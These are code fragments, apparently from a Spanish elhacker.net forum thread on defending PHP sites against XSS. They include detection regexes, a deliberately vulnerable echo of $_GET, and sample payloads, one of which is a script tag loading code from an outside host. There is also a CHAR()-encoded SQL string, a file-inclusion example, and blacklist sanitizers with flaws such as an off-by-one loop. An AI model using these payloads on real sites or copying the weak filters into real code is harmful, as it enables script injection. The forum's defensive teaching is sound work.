Foro de elhacker.net

(\"|%22).*(\>|%3E|<|%3C).*

<?php
echo "<a href=\"{$_GET['entrada']}\">Link</a>";
?>
 

(\<|%3C).*script.*(\>|%3E) 

<script src=//sirdarckcat.net/cache_poisoning.js x

(javascript:).*(\;).*

javascript:alert("pwned")

(,|;|<|>|'|`)

# Funcion para limpiar caracte-
# res que pudieran comprometer
# al servidor y/o al usuario
# By: Azielito
function limpia($var){
	//$var = strip_tags($var);
	$malo = array("\\","\'","'","%",";",":","&","#"); // Aqui poner caracteres no permitidos
	$i=0;$o=count($malo);
	while($i<=$o){
		$var = str_replace($malo[$i],"",$var);
		$i++;
	}
	return $var;
}
 
# Funcion que aplica la funcion anterior
# para no tener que preocuparnos por
# ataques de XSS o SQLi
function LimpiarTodo($datos){
	if(is_array($datos)){
		$datos = array_map('limpia',$datos);
	}else{
		die("<span class=\"error\">La funcion <b>LimpiarTodo</b> debe contener un arreglo.</span>");
	}
	return $datos;	
}
 
// Solo limpio get y post, tambien podes limpiar las $_COOKIE, $_SESSION, $_REQUES y todas esas
if($_POST){
	$_POST =& LimpiarTodo($_POST);
}
if($_GET){
	$_GET =& LimpiarTodo($_GET);
}

<?php
function limpia($var){
	$malo = array("\\","\'","'","%",";",":","&","#");
	$i=0;$o=count($malo);
	while($i<=$o){
		$var = str_replace($malo[$i],"",$var);
		$i++;
	}
	return $var;
}
 
function fncTime($tmpStart, $tmpEnd) {
	$expStart = explode(" ", $tmpStart); $intStart = $expStart[1].$expStart[0];
	$expEnd = explode(" ", $tmpEnd); $intEnd = $expEnd[1].$expEnd[0];
	return $intEnd-$intStart;
}
 
$string = "abcdefghijklmnñopkrstuvwkyz0123456789!\"#$%&'()*+,-./@?>=<;:";
 
$intStart = microtime(); $var =limpia($string); $intEnd = microtime();
echo "limpia() ".fncTime($intStart,$intEnd)."<br><br>";
 
$intStart = microtime(); $var = htmlentities($string, ENT_QUOTES); $intEnd = microtime();
echo "htmlentities() ".fncTime($intStart,$intEnd);
?>

<FORM ACTION="CodigoAntiXSSRecepcion.php" METHOD="get">
 
   <INPUT TYPE="text" NAME="vuln">
<BR><BR>
   <INPUT TYPE="submit" VALUE="Enviar">
 
</FORM>

<?php
 
$var = $_GET["vuln"];
$var2 = htmlentities($var, ENT_QUOTES);
 
?>
<FORM>
<BR>
Has escrito: <?php echo $var2; ?>
</FORM>

CHAR(83,69,76,69,67,84,32, 42,32,70,82,79,77,32,81,85,69,82,73,69,83)

<?php // MAL
include("/modules/".$_GET['page']);
?>
 
<?php // BIEN
switch ($_GET['page']) {
case "main": include("/modules/main.php"); break;
case "login": include("/modules/login.php"); break;
case "register": include("/modules/register.php"); break;
}
?>
 

// Prevent any possible XSS attacks via $_GET.
foreach ($_GET as $check_url) {
    if ((eregi("<[^>]*script*\"?[^>]*>", $check_url)) || (eregi("<[^>]*object*\"?[^>]*>", $check_url)) ||
        (eregi("<[^>]*iframe*\"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*\"?[^>]*>", $check_url)) ||
        (eregi("<[^>]*meta*\"?[^>]*>", $check_url)) || (eregi("<[^>]*style*\"?[^>]*>", $check_url)) ||
        (eregi("<[^>]*form*\"?[^>]*>", $check_url)) || (eregi("\([^>]*\"?[^)]*\)", $check_url)) ||
        (eregi("\"", $check_url))) {
									die ();
									}
}
unset($check_url);